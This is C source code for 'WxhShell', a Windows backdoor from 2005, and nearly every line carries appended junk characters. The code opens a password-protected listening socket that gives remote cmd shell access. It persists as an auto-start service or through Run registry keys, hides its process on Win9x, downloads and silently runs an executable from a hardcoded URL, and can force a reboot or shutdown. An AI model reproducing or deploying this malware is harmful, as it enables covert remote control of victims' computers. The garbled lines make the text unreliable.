    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BPuum  
    else { ?o6X_UxW!  
    closesocket(wsh); M>_vsI^I'  
    ExitThread(0); k-Yli21-/|  
    } QR2S67-  
    break; ~].?8C.>*  
    } @C|nc&E2s  
  // 获取shell Obf RwZh?q  
  case 's': { D3B]  
    CmdShell(wsh); 45?% D}  
    closesocket(wsh); yAiO._U  
    ExitThread(0); j'k <  
    break; c'.XC}  
  } lvsj4 cT  
  // 退出 bp!Jjct  
  case 'x': { O9C&1A|lA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]h?q1    
    CloseIt(wsh); eIJ>bM  
    break; 4{@{VsXN  
    } BsU}HuQZQ  
  // 离开 N; '] &f  
  case 'q': { njc-=o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `*l aUn  
    closesocket(wsh); H$+@O-  
    WSACleanup(); yeI> b 1>Q  
    exit(1); >UQY3C  
    break; )ViBH\.*p  
        } 9=mc3m:Tb(  
  } s&hr$`V4  
  } lA pZC6Iwk  
_%[po%]  
  // 提示信息 YF)]B|I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 84WX I#BH  
} >%ovL8F  
  } T]JmnCX>:  
\h"U+Bv7  
  return; \_  V*Cs  
} _u+ 7>  
NS65F7<&  
// shell模块句柄 P(3k1SM  
int CmdShell(SOCKET sock) Z5E; FGPb  
{ WfD fj  
STARTUPINFO si; OXm`n/64+  
ZeroMemory(&si,sizeof(si)); Z}TLk^_[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! ,bQ;p3g|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j^7A }fz  
PROCESS_INFORMATION ProcessInfo; =?c""~7  
char cmdline[]="cmd"; f S[-K?K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &s(J:P$!  
  return 0; +fvD1xHI  
} qJag>OY  
o@BV&|  
// 自身启动模式 !> =ybRe  
int StartFromService(void) Q~tXT_  
{ m8=n`XI  
typedef struct W#%s0EN<_  
{ f1]zsn:  
  DWORD ExitStatus; lxm/*^  
  DWORD PebBaseAddress; R8cOb*D  
  DWORD AffinityMask; D<m0G]Ht*  
  DWORD BasePriority; 8PzGUn;\  
  ULONG UniqueProcessId; fZezDm(Q  
  ULONG InheritedFromUniqueProcessId; 6Cz O ztn  
}   PROCESS_BASIC_INFORMATION; pB4Uc<e  
@)BO`;*$fF  
PROCNTQSIP NtQueryInformationProcess; r\d(*q3B  
43pe6 ^.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zs~Tu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kv(R|d6Lp  
}DXG;L  
  HANDLE             hProcess; ~ ;LzTL  
  PROCESS_BASIC_INFORMATION pbi; P`ou:M{8  
. %s U)$bH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =#/Kg_RKL  
  if(NULL == hInst ) return 0; m`9nDiV  
J*[@M*R;&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Wp5[(bg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r=&,2meo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qXg&E}]:=  
'w27Lt'V  
  if (!NtQueryInformationProcess) return 0; ni&|;"Nt-  
#]x3(}3W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HeO:=OE~>  
  if(!hProcess) return 0;  kDE-GX"Y  
kzjuW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ujRXAN@mC  
a3>/B$pE  
  CloseHandle(hProcess);  v&|65[<  
_Z Sp$>)/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bl*}*SPU  
if(hProcess==NULL) return 0; ~%8P0AP  
SfnQW}RGI  
HMODULE hMod; QJ3#~GYNr  
char procName[255]; oX;.v9a  
unsigned long cbNeeded; N^dQX,j  
54CJ6"q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | L8 [+_m  
V2ih/mh   
  CloseHandle(hProcess); pY`$k#5  
755,=U8'wi  
if(strstr(procName,"services")) return 1; // 以服务启动 ?id) 2V0s  
W48RZghmx  
  return 0; // 注册表启动 TIKkS*$  
} *3H=t$1G}  
uhh7Ft#H  
// 主模块 Y>8Qj+d  
int StartWxhshell(LPSTR lpCmdLine) Qz,2PO  
{ c1"wS*u  
  SOCKET wsl; =3 .dgtH  
BOOL val=TRUE; u<Kowt<ci  
  int port=0; UPI- j#yc  
  struct sockaddr_in door; "5&"Ij,/  
Y {^*y  
  if(wscfg.ws_autoins) Install(); tL$,]I$1+  
Z0fa;%:  
port=atoi(lpCmdLine); AP=h*1udk  
3'Y-~^ml|  
if(port<=0) port=wscfg.ws_port; ^Hv&{r77  
W;Y^(f  
  WSADATA data; :$$~$P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nbF<K?  
}6@E3z]AMO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   orFwy!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &KjMw:l  
  door.sin_family = AF_INET; vN'+5*Cgy6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !fzS' pkk.  
  door.sin_port = htons(port); 4<i#TCGex3  
sfyLG3$/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LN|(Z*  
closesocket(wsl); He(65ciT<O  
return 1; Jy)=TJ!y  
} Nvgi&iBh8  
i%-yR DIX  
  if(listen(wsl,2) == INVALID_SOCKET) { hSm?Z!+  
closesocket(wsl); Hz.i$L0}  
return 1; hzsQK _;S  
} 2iG+Ek-?"  
  Wxhshell(wsl); QN#"c  
  WSACleanup(); bzFac5n)Q  
a+E 8s7C/D  
return 0; DK74s  
lo$G*LWu:  
} wa8jr5/k"  
a9-Mc5^'n  
// 以NT服务方式启动 N1Vj;-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A0<g8pv  
{ EB}B75)x  
DWORD   status = 0; a;xeHbE  
  DWORD   specificError = 0xfffffff; @Chl>s  
$|=| "/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1 pVw,}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &<N8d(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KnkmGy  
  serviceStatus.dwWin32ExitCode     = 0; ^I!Z)/  
  serviceStatus.dwServiceSpecificExitCode = 0; :}e<  
  serviceStatus.dwCheckPoint       = 0; O2Qmz=%  
  serviceStatus.dwWaitHint       = 0; wH ,PA:  
Pvc)-A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <D.E .^Y  
  if (hServiceStatusHandle==0) return; !-lI<$S:  
N;3!oo4  
status = GetLastError(); sfX~X/  
  if (status!=NO_ERROR) <  o?ua}  
{ juR>4SH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uppa`addK  
    serviceStatus.dwCheckPoint       = 0; HPt3WBRzS;  
    serviceStatus.dwWaitHint       = 0; z\m$>C|  
    serviceStatus.dwWin32ExitCode     = status; CtCReH03  
    serviceStatus.dwServiceSpecificExitCode = specificError; nnyT,e%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v#?DWeaFS_  
    return; Qn$'bK2V  
  } \6wltTW]#  
@rYZ0`E9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +j 9+~  
  serviceStatus.dwCheckPoint       = 0; VeWh9:"bJ  
  serviceStatus.dwWaitHint       = 0; {N2GRF~c-y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *|y'%y  
} NPH(v`  
FEk9a^Xyx  
// 处理NT服务事件,比如:启动、停止 Xex7Lr&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X%YZQc9  
{ g$uiwqNA%  
switch(fdwControl) wO,qFY  
{ +S~ u,=  
case SERVICE_CONTROL_STOP: { 4j<X5V  
  serviceStatus.dwWin32ExitCode = 0; ]Ozz"4Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E{Wn&?i>A  
  serviceStatus.dwCheckPoint   = 0; k9 r49lb  
  serviceStatus.dwWaitHint     = 0; c +]r  
  { vFe=AY<Rt|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t\/H.Hb  
  } E <yQB39  
  return; (d &" @  
case SERVICE_CONTROL_PAUSE: 1'hpg>U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wo&IVy@s$  
  break; "o- -MBq4  
case SERVICE_CONTROL_CONTINUE: (f&V 7n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :$G^TD/n  
  break; /(~ HHNnh  
case SERVICE_CONTROL_INTERROGATE: 2?ue.1C  
  break; +O8[4zn&k  
}; OAkqPG&w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GG#-x$jK  
} vE[d& b[  
I;XM4a  
// 标准应用程序主函数 XO;_F"H=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `lY-/Ty  
{ =_OJ 7K'  
z"< S$sDh  
// 获取操作系统版本 ;rf{T[i  
OsIsNt=GetOsVer(); :7(fBf5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oT}$N_gFT  
d[h=<?E5  
  // 从命令行安装 efyEzL  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;ab[YMkH  
5i6Ji(  
  // 下载执行文件 j/Kul}Ml\*  
if(wscfg.ws_downexe) { #sU>L=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w?D=  
  WinExec(wscfg.ws_filenam,SW_HIDE); A@3'I  ;  
} mg*iW55g  
!"hlG^*9  
if(!OsIsNt) { Z84w9y7O<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;R+Gf!1  
HideProc(); s1OSuSL>  
StartWxhshell(lpCmdLine); ~Xx}:@Ld  
} P=}l.R*1G  
else i{}m 8K)  
  if(StartFromService()) 3x(Y+ ymP  
  // 以服务方式启动 bSTori5  
  StartServiceCtrlDispatcher(DispatchTable); -n@,r%`UK  
else t,Tq3zB  
  // 普通方式启动 =>S[Dh  
  StartWxhshell(lpCmdLine); BHpay  
&4wSX{c/P  
return 0; +sx(q@  
} VKPsg  
)E",)}Nh  
#: EhGlq8  
GfgHFv  
=========================================== p+Yy"wH:h{  
iu=@ h>C  
 =glG |  
FpB3SJ6 B  
klmbbLce  
D8k >f ]  
" uaD+G:{ [  
aAcQmq TT  
#include <stdio.h> s|WcJV  
#include <string.h> QfjoHeG7  
#include <windows.h> ]@_|A, ]  
#include <winsock2.h> ?z.  Z_A&  
#include <winsvc.h> Z{u]qI{l  
#include <urlmon.h> `m V(:  
bz:En'2>F  
#pragma comment (lib, "Ws2_32.lib") Eb,M+c?  
#pragma comment (lib, "urlmon.lib") oVl:g:K40  
b 2\J<Nw  
#define MAX_USER   100 // 最大客户端连接数 )3F}IgD  
#define BUF_SOCK   200 // sock buffer U7LCd+Z 5X  
#define KEY_BUFF   255 // 输入 buffer G=e'H-  
dM"5obEb  
#define REBOOT     0   // 重启 YxnZ0MY  
#define SHUTDOWN   1   // 关机 DW,Z})9  
dRs\e(H'  
#define DEF_PORT   5000 // 监听端口 ;Zf7|i`R3  
./ tZ*sP:  
#define REG_LEN     16   // 注册表键长度 ga'G)d3oS  
#define SVC_LEN     80   // NT服务名长度 {#=o4~u%;H  
.Z`xNp  
// 从dll定义API KfK5e{yT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0{!-h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /`qQWB5b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Gu(Yoa}y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "MPS&OK  
= g%<xCp  
// wxhshell配置信息 a/CY@V-  
struct WSCFG { rZAP3)dA  
  int ws_port;         // 监听端口 9G1ZW=83  
  char ws_passstr[REG_LEN]; // 口令 zl, Vj%d  
  int ws_autoins;       // 安装标记, 1=yes 0=no vqF=kB"P  
  char ws_regname[REG_LEN]; // 注册表键名 F.Bij8\  
  char ws_svcname[REG_LEN]; // 服务名 !;t6\Z8&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X&Ospl@H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <UIE-#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >y!R}`&0^t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >TGc0 z+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k/U rz*O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xxgdp. (  
N5MWMN[6aP  
}; 2 9z@ !  
PTQN.[bBh  
// default Wxhshell configuration =OrVaZ0  
struct WSCFG wscfg={DEF_PORT, DLq'V.M:  
    "xuhuanlingzhe", +Lr`-</VF  
    1, Eg4&D4TG p  
    "Wxhshell", Q*f0YjH!  
    "Wxhshell", Rto/-I0l  
            "WxhShell Service", ~1Ffu x  
    "Wrsky Windows CmdShell Service", ZlMS=<hgFx  
    "Please Input Your Password: ", 6m:$RW  
  1, p`"Ic2xPJ  
  "http://www.wrsky.com/wxhshell.exe", on7? V<  
  "Wxhshell.exe" l >oJ^J  
    }; : t D`e<  
;Rxc(tR!n  
// 消息定义模块 7 /" Z/^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -23sm~`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dM -<aq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NwKj@Jos  
char *msg_ws_ext="\n\rExit."; f(EO|d^u  
char *msg_ws_end="\n\rQuit."; 1#zD7b~  
char *msg_ws_boot="\n\rReboot..."; 1O2V!?P  
char *msg_ws_poff="\n\rShutdown..."; *mw *z|-^V  
char *msg_ws_down="\n\rSave to "; M^n^wz  
|41~U\  
char *msg_ws_err="\n\rErr!"; @E> rqI;`  
char *msg_ws_ok="\n\rOK!"; }?CKE<#%  
ws;|fY  
char ExeFile[MAX_PATH]; M>*xbBl  
int nUser = 0; b-#oE{(\'  
HANDLE handles[MAX_USER]; $}H,g}@0  
int OsIsNt; Rd@?2)Xm  
*]Eyf")  
SERVICE_STATUS       serviceStatus; 7a4Z~r27/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8qUNh#  
t#!AfTY$w  
// 函数声明 >+%0|6VSb  
int Install(void); H@|m^1  
int Uninstall(void); Kciz^)'Z  
int DownloadFile(char *sURL, SOCKET wsh); U*BI/wZ  
int Boot(int flag); $GD Q1&Z  
void HideProc(void); u`*1OqU  
int GetOsVer(void); us U6,  
int Wxhshell(SOCKET wsl); %mS>v|  
void TalkWithClient(void *cs); }'p*C$  
int CmdShell(SOCKET sock); MMQ\V(C  
int StartFromService(void); 0Y!~xyg/  
int StartWxhshell(LPSTR lpCmdLine); TQpR'  
EQy~ ^7V B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c&g*nDuDj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0.~s>xXp  
XS>( Bu  
// 数据结构和表定义 !H zJ*  
SERVICE_TABLE_ENTRY DispatchTable[] = 2\"T&  
{ =Nz;R2{@  
{wscfg.ws_svcname, NTServiceMain}, [KEw5-=i@  
{NULL, NULL} 7#P Q1UWl  
}; t&o&gb  
aC3Qmo6?m  
// 自我安装 P(p|NRD@1  
int Install(void) &'m&'wDt:  
{ \XbCJJP  
  char svExeFile[MAX_PATH]; }?6gj%$c  
  HKEY key; m-9ChF: U  
  strcpy(svExeFile,ExeFile); m>DJ w7<  
G,b*Qn5#  
// 如果是win9x系统,修改注册表设为自启动 #_'^oGz`  
if(!OsIsNt) { h\|T(597.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >4?735f=x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d-I&--"ju  
  RegCloseKey(key); lgefTT GX)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,t6A?YoMP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Go7 oj'"  
  RegCloseKey(key); Vo(bro4ZQi  
  return 0; 5QG?*Z~?7  
    } i&L!?6 5-f  
  } =pb ru=/  
} xeRoif\4c  
else { SM.KM_%K  
L}t P_ *  
// 如果是NT以上系统,安装为系统服务 I9sQPa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?V =#x.9  
if (schSCManager!=0) we33GMxHl`  
{ u"U7aYGkY  
  SC_HANDLE schService = CreateService cE*d(g  
  ( B*}:YV  
  schSCManager, 2GRv%:rZ  
  wscfg.ws_svcname, v+DXs!O{  
  wscfg.ws_svcdisp, NqN}] nu6  
  SERVICE_ALL_ACCESS, K#x|/b'5d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WS\Ir-B  
  SERVICE_AUTO_START, S3y(' PeF  
  SERVICE_ERROR_NORMAL, eY`o=xN  
  svExeFile, Hw,@oOh.  
  NULL, l-8rCaq& J  
  NULL, :d|~k  
  NULL, 3 5p) e c  
  NULL, R-Gg= l5  
  NULL :;w#l"e7<  
  ); =DXN`]uN  
  if (schService!=0) 4mm>6w8NT  
  { ufocj1IU  
  CloseServiceHandle(schService); 4V'HPD>=V  
  CloseServiceHandle(schSCManager); Bh65qHQO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E_#?;l>  
  strcat(svExeFile,wscfg.ws_svcname); rs0Wy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^K:-r !v^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,-SWrp`f  
  RegCloseKey(key); \$xj>b;  
  return 0; AK&=/[U>  
    } 6P0 2=  
  }  =tc!"{  
  CloseServiceHandle(schSCManager); )< p ~  
} ;e W\41w  
} 5i=C?W`'  
5a5)hmO RB  
return 1; ZQ_AqzT3D  
} mpd?F 'V  
ULzrJbP'7  
// 自我卸载 o`Q.;1(Y'  
int Uninstall(void) uP^u:'VjbH  
{ G|z%T`!U1;  
  HKEY key; #@P0i^pFTB  
f8)fm2^09  
if(!OsIsNt) { BR:Mcc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *eMMfxFl  
  RegDeleteValue(key,wscfg.ws_regname); C40o_1g  
  RegCloseKey(key); c6VyF=2q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )D&xyC}  
  RegDeleteValue(key,wscfg.ws_regname); 8;x0U`}Ez(  
  RegCloseKey(key); T_fM\jdI  
  return 0; +.QJZo_  
  } _[/#t|I}  
} H'&[kgnQ@  
} /25Ay  
else { s133N?  
yV*4|EkvW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m"wP]OQH*+  
if (schSCManager!=0) ^p3W}D  
{ e s<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yw_!40`  
  if (schService!=0) ^95njE`>t`  
  { E[<*Al +N  
  if(DeleteService(schService)!=0) { l_Zx'm  
  CloseServiceHandle(schService); ^ U~QQ  
  CloseServiceHandle(schSCManager); gmZ] E45  
  return 0; \85~~v@  
  } 664D5f#EJ  
  CloseServiceHandle(schService); / |isRh|  
  } \J(kM,ZJ  
  CloseServiceHandle(schSCManager); 9T0g%&  
} `yO'-(@"gY  
}  BO.Db``  
$dG:29w  
return 1; U_WO<uhC  
} ygQe'S{!S\  
pj7v{H+  
// 从指定url下载文件 .aR9ulS  
int DownloadFile(char *sURL, SOCKET wsh) z7TyS.z  
{ 6w[EJ;=p_  
  HRESULT hr; wOsg,p;\'  
char seps[]= "/"; I{=Yuc  
char *token; PlCj<b1D:  
char *file; gyuBmY  
char myURL[MAX_PATH]; K|I<kA~!H  
char myFILE[MAX_PATH]; |qBcE  
/*MioaQB}p  
strcpy(myURL,sURL); ]'pL*&"X  
  token=strtok(myURL,seps); UqNUX?(  
  while(token!=NULL) lSc=c-iOv  
  { W6B"QbHYz  
    file=token; ?$l|];m)-  
  token=strtok(NULL,seps); Eihn%Esa  
  } K D?b|y @  
bP>Kx-%q  
GetCurrentDirectory(MAX_PATH,myFILE); tS-gaT`T  
strcat(myFILE, "\\"); D}Sww5ZmP  
strcat(myFILE, file); /Q_ Dd  
  send(wsh,myFILE,strlen(myFILE),0); <. *bJ  
send(wsh,"...",3,0); l>KkAA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h J0U-m  
  if(hr==S_OK) $tej~xZK  
return 0; %r8;i  
else r-.>3J  
return 1; YrV@k*O*  
d</F6aM\  
} nv\K!wZI=b  
dT[JVl+3=  
// 系统电源模块 pTXF^:8  
int Boot(int flag) A0:rn\$l3  
{ uqLP$At  
  HANDLE hToken; dCe LW  
  TOKEN_PRIVILEGES tkp; Nd&UWk^  
qG ? :Q  
  if(OsIsNt) { n>w<vM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NpaS2q-d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IdK<:)Q  
    tkp.PrivilegeCount = 1; n2EPx(~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PcqS#!t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eTuKu(0 E  
if(flag==REBOOT) { [FLR&=.(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jFUpf.v2  
  return 0; MpBdke$  
} FRQ0t!b<M1  
else { D:/q<<|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "%\hDL;  
  return 0; 5 7-Hx;  
} *l=(?Pe<  
  } 6?;z\ AP&  
  else { 9g>)7Ne  
if(flag==REBOOT) { s^K2,D]P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lRb>W31"  
  return 0; Ri~$hs!  
} Ka_;~LS>(  
else { 5OzEY7K)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;S '?l0  
  return 0; ,Aai-AGG@  
} {M5t)-  
}  *} ?  
n,2   
return 1; =^i K^)  
} mEsb_3?#+  
D:f=Z?L)>  
// win9x进程隐藏模块 Od)y4nr3~  
void HideProc(void) gdA2u;q  
{ =/`]lY&  
oeB'{bG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fxc_s/^=t  
  if ( hKernel != NULL ) O^j*"#f  
  { &K{8- t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sRA2O/yKCE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U3Z=X TB  
    FreeLibrary(hKernel); t ^[fu,  
  } DA.k8M  
W\NC3]  
return; =$fz</S=J  
} KmTFJ,iM  
kS8?N`2}LV  
// 获取操作系统版本 6(rN(C  
int GetOsVer(void) T7^;!;i`X  
{ `Z8k#z'bN  
  OSVERSIONINFO winfo; ^'0N%`bY!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r PK.Q)g  
  GetVersionEx(&winfo); !*Eu(abD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \yC/OLXq  
  return 1; 0o"aSCq8t  
  else #79[Qtkrhm  
  return 0; k$JOHru  
} *LU/3H|}  
q]I aRho  
// 客户端句柄模块 Dzf\m>H[  
int Wxhshell(SOCKET wsl) >%om[]0E  
{ b%%r`j,'JE  
  SOCKET wsh; Cj<8r S4+  
  struct sockaddr_in client; tP7<WGHd/  
  DWORD myID; t15{>>f4>  
0B7G:X0  
  while(nUser<MAX_USER)  d]`6N  
{ 6UuN-7z!"  
  int nSize=sizeof(client); ]LUcOR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tVEe)QX  
  if(wsh==INVALID_SOCKET) return 1; {0Y6jk>I  
^`'\eEa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ;Pt8\X  
if(handles[nUser]==0) /HpM17   
  closesocket(wsh); d#a/J.Z$A  
else ~x \uZ^:  
  nUser++; >&KH!:OX|  
  } Q(nTL WW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q.`< q  
G rp{ .  
  return 0; C2"^YRN,  
} ZBK0`7#&EH  
H3<tsK=:  
// 关闭 socket 8O9^g4?  
void CloseIt(SOCKET wsh) YWl#!"-  
{ lAP k/G  
closesocket(wsh); U?le|tK  
nUser--; Hf?@<4  
ExitThread(0); %m\:AK[}  
} mn?F;= qE  
$jg[6`L$  
// 客户端请求句柄 #Az#_0=  
void TalkWithClient(void *cs) L)J1yw  
{ f7~dn#<@  
_d5:Y  
  SOCKET wsh=(SOCKET)cs; Y b3ckktY  
  char pwd[SVC_LEN]; rs{)4.I  
  char cmd[KEY_BUFF]; 8%#8PLB2  
char chr[1]; X]p3?"7  
int i,j; OW4j!W  
qqf`z,u  
  while (nUser < MAX_USER) { X$we\t  
#dUKG8-HJ  
if(wscfg.ws_passstr) { {MUiK 5:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,%*UF6B M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BX0lk  
  //ZeroMemory(pwd,KEY_BUFF); $h{m")]  
      i=0; k773h`;  
  while(i<SVC_LEN) { KD &nLm!  
cQj`W *  
  // 设置超时 1"ZtE\{ "  
  fd_set FdRead; +9b{Y^^~T  
  struct timeval TimeOut; KHML!f=mu  
  FD_ZERO(&FdRead); I.jqC2G  
  FD_SET(wsh,&FdRead); S@HC$  
  TimeOut.tv_sec=8; uI7n{4W*x  
  TimeOut.tv_usec=0; w~b:9_reY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v"o"W[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \mc0fY  
>0{}tRm-P&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FtIcA"^N  
  pwd=chr[0]; LUMbRrD-  
  if(chr[0]==0xd || chr[0]==0xa) { )OV0YfO   
  pwd=0; [! $N Tt_  
  break; iH }-  
  } Xkhd"Axi  
  i++; a.Z@Z!*  
    } .P)lQk\  
~DInd-<5  
  // 如果是非法用户,关闭 socket o:AfEoH"~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %;k Hnl  
} VO|ECB2e  
w+ R/>a( ]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2F:qaz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }8ubGMr,Y  
.d1ff] ;  
while(1) { 9;e!r DW,#  
kP ]Up&'  
  ZeroMemory(cmd,KEY_BUFF); RhE~-b[X  
2CzhaO  
      // 自动支持客户端 telnet标准   p"ytt|H  
  j=0; ;t{q]"? W  
  while(j<KEY_BUFF) { o6[.$C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ApCU|*r)  
  cmd[j]=chr[0]; ]$@a.#}  
  if(chr[0]==0xa || chr[0]==0xd) { kcCCa@~v  
  cmd[j]=0; ^HC 6v;K  
  break; 6eV#x%z@v'  
  } p@Y=6Bw  
  j++; 'E_~ |C  
    } ':vZ&  
eO!9;dJ  
  // 下载文件 1#A$&'&\J;  
  if(strstr(cmd,"http://")) { 53])@Mmus  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3PNdc}h&#  
  if(DownloadFile(cmd,wsh)) YZg#H) w%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t WI-  
  else AoS7B:T;!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |3'  
  } 8>v_th  
  else { Du+W7]yCl  
